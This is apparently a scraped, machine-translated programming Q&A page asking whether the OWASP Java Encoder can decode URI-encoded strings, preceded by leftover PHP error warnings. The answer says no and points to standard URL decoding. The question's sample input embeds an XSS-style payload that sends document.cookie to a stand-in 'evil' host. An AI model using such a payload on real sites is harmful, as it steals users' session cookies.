Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/423.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript OWASP Java编码器是否具有任何解码功能?_Javascript_Java_Url Encoding_Owasp - Fatal编程技术网

Javascript OWASP Java编码器是否具有任何解码功能?

Javascript OWASP Java编码器是否具有任何解码功能?,javascript,java,url-encoding,owasp,Javascript,Java,Url Encoding,Owasp,我使用OWASP编码器的forURIComponent方法对下面的查询字符串进行编码 String query=“query=hello”}; window.location=http://evil?“+document.cookie;va&r-b={/]”; 字符串encodedQuery=Encode.forUriComponent(查询); 现在我需要解码encodedQuery,解码后的字符串应该与原始查询完全相同。我如何才能做到这一点?我想你说的是。据我所知,它不提供任何解码功能 但

我使用OWASP编码器的
forURIComponent
方法对下面的查询字符串进行编码

String query=“query=hello”};
window.location=http://evil?“+document.cookie;va&r-b={/]”;
字符串encodedQuery=Encode.forUriComponent(查询);

现在我需要解码
encodedQuery
,解码后的字符串应该与原始查询完全相同。我如何才能做到这一点?

我想你说的是。据我所知,它不提供任何解码功能

但是,由于
Encode.forUriComponent()
方法实现了标准,因此您可以使用任何正确实现的URL解码函数对其进行解码

但是,如果您需要解析包含(可能)多个参数的URI,您可能会发现该类(或)更便于使用